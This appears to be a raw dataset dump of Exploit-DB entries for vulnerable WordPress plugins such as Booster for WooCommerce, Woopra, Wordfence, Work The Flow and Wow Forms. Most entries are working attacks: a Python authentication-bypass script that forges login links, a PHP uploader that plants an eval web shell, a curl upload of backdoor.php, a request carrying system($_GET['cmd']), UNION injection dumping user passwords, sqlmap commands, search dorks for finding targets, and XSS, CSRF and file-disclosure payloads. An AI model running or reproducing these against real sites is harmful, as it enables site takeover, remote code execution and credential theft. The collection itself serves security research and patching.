deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50299
Description: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-09-17
Author: 0xB455

Exploit:
# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass
# Date: 2021-09-16
# Exploit Author: Sebastian Kriesten (0xB455)
# Contact: https://twitter.com/0xB455
#
# Affected Plugin: Booster for WooCommerce
# Plugin Slug: woocommerce-jetpack
# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/
# Affected Versions: <= 5.4.3
# Fully Patched Version: >= 5.4.4
# CVE: CVE-2021-34646
# CVSS Score: 9.8 (Critical)
# Category: webapps
#
# 1:
# Goto: https://target.com/wp-json/wp/v2/users/
# Pick a user-ID (e.g. 1 - usualy is the admin)
#
# 2:
# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1
#
# 3:
# Check-Out  out which of the generated links allows you to access the system
#
import requests,sys,hashlib
import argparse
import datetime
import email.utils
import calendar
import base64

B = "\033[94m"
W = "\033[97m"
R = "\033[91m"
RST = "\033[0;0m"

parser = argparse.ArgumentParser()
parser.add_argument("url", help="the base url")
parser.add_argument('id', type=int, help='the user id', default=1)
args = parser.parse_args()
id = str(args.id)
url = args.url
if args.url[-1] != "/": # URL needs trailing /
        url = url + "/"

verify_url= url + "?wcj_user_id=" + id
r = requests.get(verify_url)

if r.status_code != 200:
        print("status code != 200")
        print(r.headers)
        sys.exit(-1)

def email_time_to_timestamp(s):
    tt = email.utils.parsedate_tz(s)
    if tt is None: return None
    return calendar.timegm(tt) - tt[9]

date = r.headers["Date"]
unix = email_time_to_timestamp(date)

def printBanner():
    print(f"{W}Timestamp: {B}" + date)
    print(f"{W}Timestamp (unix): {B}" + str(unix) + f"{W}\n")
    print("We need to generate multiple timestamps in order to avoid delay related timing errors")
    print("One of the following links will log you in...\n")

printBanner()



for i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors
        hash = hashlib.md5(str(unix-i).encode()).hexdigest()
        print(f"{W}#" + str(i) + f" link for hash {R}"+hash+f"{W}:")
        token='{"id":"'+ id +'","code":"'+hash+'"}'
        token = base64.b64encode(token.encode()).decode()
        token = token.rstrip("=") # remove trailing =
        link = url+"my-account/?wcj_verify_email="+token
        print(link + f"\n{RST}")
Exploit-DB #47327
Description: WordPress Plugin WooCommerce Product Feed 2.2.18 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-08-30
Author: Damian Ebelties

Exploit:
# Exploit Title: WordPress Plugin WooCommerce Product Feed <= 2.2.18 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://wordpress.org/plugins/webappick-product-feed-for-woocommerce/
# Version: <= 2.2.18
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2[PII_REDACTED]

The WordPress plugin 'WooCommerce Product Feed' does not correctly sanitize user-input,
which leads to Cross-Site Scripting in the Admin Panel.

Since it is WordPress, it's fairly easy to get RCE with this XSS, by editing the theme
files via (for example) XHR requests with included Javascript.

Proof-of-Concept:

    https://domain.tld/wp-admin/admin.php?page=woo_feed_manage_feed&link=%3E%3Cscript%3Ealert`zerodays.lol`;%3C/script%3E
Exploit-DB #48088
Description: WordPress Plugin WOOF Products Filter for WooCommerce 1.2.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-02-17
Author: Shahab.ra.9

Exploit:
# Exploit Title: Wordpress Plugin WOOF Products Filter for WooCommerce 1.2.3 - Persistent Cross-Site Scripting
# Date: 2020-02-15
# Exploit Author: Shahab.ra.9
# Vendor Homepage: https://products-filter.com/
# Software Link: https://wordpress.org/plugins/woocommerce-products-filter/
# Version: 1.2.3
# Tested on: windows 10
# WOOF - Products Filter for WooCommerce

Exploit:
http://target/wp-admin/admin.php?page=wc-settings&tab=woof

now in tab "design" -> then enter (xss code) in the (textfields) front side
->(Text for block toggle ,Text for block toggle , Custom front css styles
file link).
then click on button "save changes".
then refresh page ,now you see the execution of xss code ,then refersh
frontend page site -> "http://target/shop/ " or frontend pages used this
plugin the execution of xss code.

Demo Poc:

http://target/wp-admin/admin.php?page=wc-settings&tab=woof

now in tab "design" -> then enter ( ";</script><img src=1
onerror="alert(`xss store bug -> shahab.ra.9`);"><script>var1="1 ) in the
(textfields) front side ->(Text for block toggle ,Text for block toggle and
Custom front css styles file link).
then click on button "save changes".
Exploit-DB #38783
Description: WordPress Plugin Woopra Analytics - 'ofc_upload_image.php' Arbitrary PHP Code Execution
Type: webapps
Platform: php
Date: 2013-10-07
Author: wantexz

Exploit:
source: https://www.securityfocus.com/bid/62876/info

The Woopra Analytics Plugin for WordPress is prone to an arbitrary PHP code-execution vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to execute arbitrary PHP code within the context of the web server. 

<?php

# woopra plugins ~ Exploit
# http://indonesiancoder.com/
#

echo <<<EOT

EOT;


$options = getopt('u:f:');

if(!isset($options['u'], $options['f']))
die("\n        Usage example: php IDC.php -u http://target.com/ -f shell.php\n
-u http://target.com/    The full path to Joomla!
-f shell.php             The name of the file to create.\n");

$url     =  $options['u'];
$file    =  $options['f'];


$shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
$url   = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";

$data      = "<?php eval(\$_GET['cmd']); ?>";
$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:15.0) Gecko/20100101 Firefox/15.0.1',
'Content-Type: text/plain');


echo "        [+] Submitting request to: {$options['u']}\n";


$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);
curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);
curl_close($handle);


if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') &&
@fopen($shell, 'r'))
{
echo "        [+] Exploit completed successfully!\n";
echo "        ______________________________________________\n\n
 {$shell}?cmd=system('id');\n";
}
else
{
die("        [+] Exploit was unsuccessful.\n");
}

?>
Exploit-DB #37970
Description: WordPress Plugin Wordfence Security - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-10-18
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/56159/info

The Wordfence Security plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Wordfence Security 3.3.5 is vulnerable; other versions may also be affected. 

<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive. 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email" 
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
Exploit-DB #39317
Description: WordPress Plugin Wordfence Security - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-14
Author: Voxel@Night

Exploit:
source: https://www.securityfocus.com/bid/69815/info

The Wordfence Security Plugin for WordPress is prone to following vulnerabilities:

1. Multiple HTML-Injection vulnerabilities
2. Multiple Security Bypass vulnerabilities

Successful exploits of these issues allow the attacker-supplied HTML and script code to run in the context of the affected browser potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user, or to bypass security mechanisms.

Wordfence Security Plugin 5.2.3 is vulnerable; other versions may also be affected 

http://www.example.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
Exploit-DB #48061
Description: WordPress Plugin Wordfence.7.4.5 - Local File Disclosure
Type: webapps
Platform: php
Date: 2020-02-13
Author: Mehran Feizi

Exploit:
#  Tile: Wordpress Plugin wordfence.7.4.5 - Local File Disclosure
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/wordfence/

==============================================================================
Vulnerable Source:
5662: readfile readfile($localFile);
5645: $localFile = ABSPATH . preg_replace('/^(?:\.\.|[\/]+)/', '', sanitize_text_field($_GET['file']));
=================================================================================
Exploit:
localhost/wp-content/plugins/wordfence/lib/wordfenceClass.php?file=[LFD]
=================================================================================
Exploit-DB #43487
Description: WordPress Plugin WordPress Download Manager 2.9.60 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-01-10
Author: Panagiotis Vagenas

Exploit:
* Exploit Title: WordPress Download Manager [CSRF]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: https://www.wpdownloadmanager.com/
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.60
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress


Description
-----------

Plugin implements the AJAX action `wpdm-install-addon` which calls the
function `wpdm_install_addon`. This function doesn't take any anti-CSRF
measures thus making it susceptible to those kind of attacks.

What is interesting about this function though, is the fact that it
provides plugin installation functionality for admin users. The origin of
the package is defined by the `$_REQUEST['addon']` if is set without any
validation.

A malicious actor can exploit this to install a malicious plugin in the
vulnerable site. In fact the install package doesn't need to be a valid
plugin, it could just contain malicious code. Because the package is
extracted in the `/wp-content/plugins/` dir without changing it's original
folder structure, an attacker could leverage the CSRF to upload malicious
code and execute the code on the infected server.

PoC
---

```
<pre class="lang:html decode:true "><form method="post" action="http://vuln.dev/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="wpdm-install-addon">
    <label> This is the remote url to get plugin from. Everything is valid as long as it's a ZIP archive and ends with .zip
        <input type="text" name="addon" value="https://downloads.wordpress.org/plugin/bbpress.2.5.13.zip">
    </label>
    <button type="submit" value="Submit">Submit</button>
</form>

```

Solution
--------

Update to version 2.9.61.

Timeline
--------

1. **2017-12-12**: Discovered
2. **2017-12-14**: Tried to reach out to vendor using support email address
3. **2017-12-16**: Vendor replied
4. **2017-12-16**: Vendor received details
5. **2017-12-21**: Vendor released a fix
Exploit-DB #5039
Description: WordPress Plugin Wordspew - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-02
Author: S@BUN

Exploit:
#########################################################################
#
# Wordpress Plugin (wordspew-rss.php) SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################

DORK 1 : allinurl: "wordspew-rss.php"

DORK 2 : allinurl: "wp-content/plugins/wordspew"

DORK 3 : allinurl: "wordspew/wordspew-rss.php"

#########################################################################
EXPLOIT :

wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users


#########################################################################
# S@BUN                      www.hackturkiye.com                          S@BUN
#########################################################################
# S@BUN                          GOOD LUCKY                                  S@BUN
#########################################################################

# milw0rm.com [2008-02-02]
Exploit-DB #36640
Description: WordPress Plugin Work The Flow File Upload 2.5.2 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-04-05
Author: Claudio Viviani

Exploit:
######################

# Exploit Title : Wordpress Work the flow file upload 2.5.2 Shell Upload Vulnerability

# Exploit Author : Claudio Viviani


# Software Link : https://downloads.wordpress.org/plugin/work-the-flow-file-upload.2.5.2.zip

# Date : 2015-03-14

# Tested on : Linux BackBox 4.0 / curl 7.35.0

######################

# Description:

Work the Flow File Upload. Embed Html5 User File Uploads and Workflows into pages and posts. 
Multiple file Drag and Drop upload, Image Gallery display, Reordering and Archiving.
This two in one plugin provides shortcodes to embed front end user file upload capability and / or step by step workflow.

######################

# Location :  

http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php


######################

# PoC:

 curl -k -X POST -F "action=upload" -F "files=@./backdoor.php" http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/index.php

# Backdoor Location:

 http://VICTIM/wp-content/plugins/work-the-flow-file-upload/public/assets/jQuery-File-Upload-9.5.0/server/php/files/backdoor.php


######################

# Vulnerability Disclosure Timeline:

2015-03-14:  Discovered vulnerability
2015-04-03:  Vendor Notification
2015-04-03:  Vendor Response/Feedback 
2015-04-04:  Vendor Fix/Patch (2.5.3)
2014-04-04:  Public Disclosure 

#####################

Discovered By : Claudio Viviani
                http://www.homelab.it
				http://ffhd.homelab.it (Free Fuzzy Hashes Database)
				
                info@homelab.it
                homelabit@protonmail.ch

                https://www.facebook.com/homelabit
                https://twitter.com/homelabit
                https://plus.google.com/+HomelabIt1/
                https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

#####################
Exploit-DB #33003
Description: WordPress Plugin Work-The-Flow 1.2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-04-24
Author: nopesled

Exploit:
# Author: nopesled
# Date: 24/04/14
# Software: https://wordpress.org/plugins/work-the-flow-file-upload/
# Company: http://wtf-fu.com/
# Version: 1.2.1
# Tested on: Windows 7
# Vulnerability: Unrestricted File Upload


Submit an image file via the wtf upload panel and intercept the POST request to /wp-admin/admin-ajax.php

By editing the data from the control 'accept_file_types', we can upload normally disallowed filetypes such as PHP.

Append '|php':

- ---------------------------[PII_REDACTED]23456\r\n
Content-Disposition: form-data; name="accept_file_types"\r\n
\r\n
jpg|jpeg|mpg|mp3|png|gif|wav|ogg|php\r\n


Now change the extension in the data for 'filename' to '.php' and enter your desired code like so

- ---------------------------[PII_REDACTED]23456\r\n
Content-Disposition: form-data; name="files[]"; filename="illegal.php"\r\n
Content-Type: application/octet-stream\r\n
\r\n
<?php\n
system($_GET[\'cmd\']);\n
?>\n
- ---------------------------[PII_REDACTED]23456--\r\n

Submit this POST request and you will find your file in the directory:
/wp-content/uploads/public/wtf-fu_files/default/

It's not required to set the control 'deny_public_uploads' to true, because it still gets uploaded anyway regardless if it's enabled or not.

###################################
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Signed.
-----BEGIN PGP SIGNATURE-----
Version: Keybase OpenPGP v0.1.11
Comment: https://keybase.io/crypto

wsBcBAABCgAGBQJTWQpLAAoJEOB0UMODnV4U7QIIAIKXDQVK8fIXY0BSO4ZrHq8L
2a51JCVmpwBzrHVp87FCpYHcMXyuCXWi5joEbiJFVi5ojHTSii5ZwvBVJwvyoKcy
jexj2IvMoC30zrgSdTu9/lMd1tYGYQCSlMubFvzE0edmDCo7fH2gF8Zvfw4Lj4ng
KJOpB9HsvDUJVNlbDMl+MbGAW32m6BqG4ttdjE1bs1suDxb/JrS7okuHu1Qmpe0+
Xp50x4wUVrZSeqT5VnWDWjox2BnSGEcAKbkjFeRDBpgJyeWJGH20jXb6m4sYNLDT
gf9ml9oM5yncivMN2dJU+hp3Xyfp6rEute9jA+lcEMwZsyjlwAVFhszV4qh7X+o=
=5nDI
-----END PGP SIGNATURE-----
###################################
Exploit-DB #41922
Description: WordPress Plugin Wow Forms 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-25
Author: TAD GROUP

Exploit:
# Exploit Title: Wow Forms v2.1 WordPress Plugin SQL Injection
# Date: 29/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: http://wow-company.com/
# Software Link: https://wordpress.org/plugins/mwp-forms/
# Version: 2.1
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Wow Forms v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameter 'wowformid' is vulnerable.

2. Proof of concept

sqlmap -u "http://server/wp-admin/admin-ajax.php" --data "action=send_mwp_form&arrkey%5B%5D=mwp-field-0&arrkey%5B%5D=mwp-forms-textarea-0&arrval%5B%5D=form2&arrval%5B%5D=rrr&mwpformid=1*"  --dbs --threads=10 --random-agent --dbms mysql

Parameter: Array-like #6* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND 6968=6968

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 AND (SELECT * FROM (SELECT(SLEEP(5)))gxQa)

    Type: UNION query
    Title: Generic UNION query (NULL) - 65 columns
    Payload: action=send_mwp_form&arrkey[]=mwp-field-0&arrkey[]=mwp-forms-textarea-0&arrval[]=form2&arrval[]=rrr&mwpformid=4 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x6b656f4d516d7a6b736f596f49746d4e776a7663716f4d41654c6e516e516c6c6c7a5274744a6d57,0x716a6b6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL— -

3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.1

6. Disclosure timeline

15-Mar-2017 - found the vulnerability
15-Mar-2017 - informed the developer
29-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.
Exploit-DB #41921
Description: WordPress Plugin Wow Viral Signups 2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-25
Author: TAD GROUP

Exploit:
# Exploit Title: Wow Viral Signups v2.1 WordPress Plugin SQL Injection
# Date: 29/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: http://wow-company.com/
# Software Link: https://wordpress.org/plugins/mwp-viral-signup/
# Version: 2.1
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Wow Viral Signups v2.1 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameter 'idsignup' is vulnerable.

2. Proof of concept

sqlmap -u  "http://server/wp-admin/admin-ajax.php" --data "action=mwp_signup_send&email=GING%40MAIL.RU&hvost=%3Fpage_id%3D47&idsignup=1" --dbs --threads=10 --random-agent --dbms mysql

Parameter: idsignup (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: action=mwp_signup_send&email=GING@MAIL.RU&hvost=?page_id=47&idsignup=1 AND 5272=5272

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=mwp_signup_send&email=GING@MAIL.RU&hvost=?page_id=47&idsignup=1 AND (SELECT * FROM (SELECT(SLEEP(5)))hXXu)

3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.1

6. Disclosure timeline

15-Mar-2017 - found the vulnerability
15-Mar-2017 - informed the developer
29-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.
Exploit-DB #35704
Description: WordPress Plugin WP Ajax Calendar 1.0 - 'example.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-05-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47726/info

WP Ajax Calendar is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Ajax Calendar 1.0 is vulnerability; other versions may also be affected. 

http://www.example.com/example.php?y=[xss]
Exploit-DB #35663
Description: WordPress Plugin WP Ajax Recent Posts 1.0.1 - 'do' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-26
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47579/info

The WP Ajax Recent Posts WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP Ajax Recent Posts WordPress Plugin 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?action=wpAjaxRecentPosts&number=1%27%29%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E